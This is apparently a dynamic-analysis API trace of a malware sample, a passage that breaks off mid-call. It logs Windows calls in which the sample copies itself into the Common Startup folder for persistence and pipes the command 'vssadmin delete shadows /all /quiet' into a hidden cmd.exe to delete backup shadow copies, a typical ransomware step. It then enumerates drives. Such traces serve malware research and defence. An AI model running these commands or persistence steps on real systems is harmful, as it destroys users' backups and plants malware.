RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceba8, Size=0x40) returned 0x4aa6d8 [0059.189] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa6d8, Size=0x80) returned 0x516d98 [0059.189] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x516d98, Size=0x100) returned 0x4d4f70 [0059.189] lstrlenW (lpString="") returned 0 [0059.189] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0059.189] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8c) returned 0x4d5078 [0059.189] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0 [0059.190] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x506708, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0 [0059.190] RegCloseKey (hKey=0x244) returned 0x0 [0059.190] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d5078 | out: hHeap=0x490000) returned 1 [0059.190] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0059.190] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0059.190] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d4f70 | out: hHeap=0x490000) returned 1 [0059.190] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpDst=0x4f6700, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 0x78 [0059.190] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x506708 | out: hHeap=0x490000) returned 1 [0059.190] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f6700 | out: hHeap=0x490000) returned 1 [0059.191] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x23e1020 [0059.193] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4268 [0059.193] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4268, Size=0x20) returned 0x4cebd0 [0059.193] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4388 [0059.193] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4388, Size=0x20) returned 0x4ce9c8 [0059.193] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0059.193] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0059.194] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0059.194] lstrlenW (lpString="kernel32.dll") returned 12 [0059.194] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cebd0 | out: hHeap=0x490000) returned 1 [0059.194] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.194] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce9c8 | out: hHeap=0x490000) returned 1 [0059.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244 [0059.194] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248 [0059.354] ReadFile (in: hFile=0x244, lpBuffer=0x23e1020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23e1020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0059.368] WriteFile (in: hFile=0x248, lpBuffer=0x23e1020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23e1020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1 [0059.384] ReadFile (in: hFile=0x244, lpBuffer=0x23e1020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23e1020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1 [0059.384] CloseHandle (hObject=0x248) returned 1 [0059.469] CloseHandle (hObject=0x244) returned 1 [0059.469] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4400 [0059.469] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4400, Size=0x20) returned 0x4ce888 [0059.469] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d44f0 [0059.469] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d44f0, Size=0x20) returned 0x4ceba8 [0059.469] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000 [0059.469] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30 [0059.469] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1 [0059.469] lstrlenW (lpString="kernel32.dll") returned 12 [0059.469] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ceba8 | out: hHeap=0x490000) returned 1 [0059.469] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0059.469] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce888 | out: hHeap=0x490000) returned 1 [0059.469] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x23e1020 | out: hHeap=0x490000) returned 1 [0059.474] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d66f0 | out: hHeap=0x490000) returned 1 [0059.474] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e66f8 | out: hHeap=0x490000) returned 1 [0059.475] lstrlenW (lpString="%windir%\\System32") returned 17 [0059.475] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa2e8 | out: hHeap=0x490000) returned 1 [0059.475] lstrlenW (lpString="%appdata%") returned 9 [0059.476] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4cecc0 | out: hHeap=0x490000) returned 1 [0059.476] lstrlenW (lpString="%sh(Startup)%") returned 13 [0059.476] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce978 | out: hHeap=0x490000) returned 1 [0059.476] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0059.476] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4aa378 | out: hHeap=0x490000) returned 1 [0059.476] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d42b0 [0059.476] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d42b0, Size=0x20) returned 0x4ce978 [0059.476] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ce978, Size=0x40) returned 0x4aa6d8 [0059.476] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa6d8, Size=0x80) returned 0x517480 [0059.476] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4388 [0059.476] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4388, Size=0x20) returned 0x4ce9c8 [0059.476] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1fffc) returned 0x4d66f0 [0059.477] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x4f66f8 [0059.477] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x506700 [0059.477] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4340 [0059.477] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4340, Size=0x20) returned 0x4ceb30 [0059.477] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceb30, Size=0x40) returned 0x4aa450 [0059.477] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa450, Size=0x80) returned 0x517150 [0059.477] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x517150, Size=0x100) returned 0x4d4f70 [0059.477] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0059.477] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d4f70 | out: hHeap=0x490000) returned 1 [0059.477] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x4f66f8, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0059.477] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x506700 | out: hHeap=0x490000) returned 1 [0059.477] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4f66f8 | out: hHeap=0x490000) returned 1 [0059.478] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1 [0059.478] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1 [0059.479] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1 [0059.479] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1 [0059.479] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0x510, dwThreadId=0x4d8)) returned 1 [0059.943] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0059.943] WriteFile (in: hFile=0x24c, lpBuffer=0x517480*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x517480*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1 [0059.943] CloseHandle (hObject=0x25c) returned 1 [0059.943] CloseHandle (hObject=0x258) returned 1 [0059.943] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4d66f0 | out: hHeap=0x490000) returned 1 [0059.943] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0059.943] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x517480 | out: hHeap=0x490000) returned 1 [0059.943] lstrlenW (lpString="%comspec%") returned 9 [0059.943] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4ce9c8 | out: hHeap=0x490000) returned 1 [0059.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258 [0059.944] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4d43a0 [0059.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x4d43a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c [0059.945] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf268 [0059.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x4cf268, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264 [0059.945] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4400 [0059.945] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4400, Size=0x20) returned 0x4ceab8 [0059.945] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ceab8, Size=0x40) returned 0x4aa6d8 [0059.945] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0059.945] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xd0) returned 0x4ac0f8 [0059.945] GetLogicalDrives () returned 0x4 [0059.945] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10014) returned 0x4d66f0 [0059.945] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4268 [0059.945] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4268, Size=0x20) returned 0x4cea40 [0059.945] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cea40, Size=0x40) returned 0x4aa7b0 [0059.945] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa7b0, Size=0x80) returned 0x516af0 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x516af0, Size=0x100) returned 0x4d5000 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x200) returned 0x4d5000 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x400) returned 0x4d5000 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x800) returned 0x517718 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x517718, Size=0x1000) returned 0x517718 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x4e6710 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4d4358 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4d4268 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cf318 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4d4310 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x4) returned 0x4cf338 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4370 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf338, Size=0x8) returned 0x4cf3b8 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d44a8 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cf3b8, Size=0x10) returned 0x4d4448 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d43d0 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4460 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d4448, Size=0x20) returned 0x4cebf8 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d42f8 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf308 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4d4280 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4d4298 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4cebf8, Size=0x40) returned 0x4aa7f8 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4d4400 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4d42b0 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4d4340 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x4d44d8 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4418 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4388 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf368 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4430 [0059.946] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4aa7f8, Size=0x80) returned 0x5168d0 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4448 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d44c0 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d44f0 [0059.946] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4508 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4520 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4d45c8 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4568 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf3b8 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4580 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d45f8 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4d45e0 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4550 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4d45b0 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4d4538 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x4d4598 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x4a7970 [0059.947] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x5168d0, Size=0x100) returned 0x4d5000 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518c78 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518b70 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518c00 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x518d38 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518c48 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518b40 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf3c8 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518d08 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518c60 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518b58 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4cf408 [0059.947] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518a50 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518d20 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf298 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518c90 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518a68 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518bb8 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518b88 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518ba0 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518a80 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xe) returned 0x518c18 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518ca8 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x518bd0 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518c30 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518a98 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518cc0 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518be8 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf3f8 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518cd8 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518cf0 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518ab0 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518ac8 [0059.948] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4d5000, Size=0x200) returned 0x4d5000 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518ae0 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf278 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518af8 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518b10 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518b28 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518e28 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518d50 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518ea0 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518df8 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518d68 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518e10 [0059.948] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518e40 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518d80 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518db0 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518eb8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518ed0 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518ee8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518d98 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518dc8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518e58 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518e70 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518e88 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518f00 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf338 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518de0 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518930 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5187f8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf3d8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518810 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5189f0 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518990 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518948 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518798 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518978 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5188e8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518768 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5188b8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x518960 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5187b0 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5189a8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518828 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xc) returned 0x5187c8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5189c0 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5189d8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5187e0 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518a08 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518840 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x5188d0 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518750 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x8) returned 0x4cf3e8 [0059.949] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4cf288 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xa) returned 0x518858 [0059.950] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, 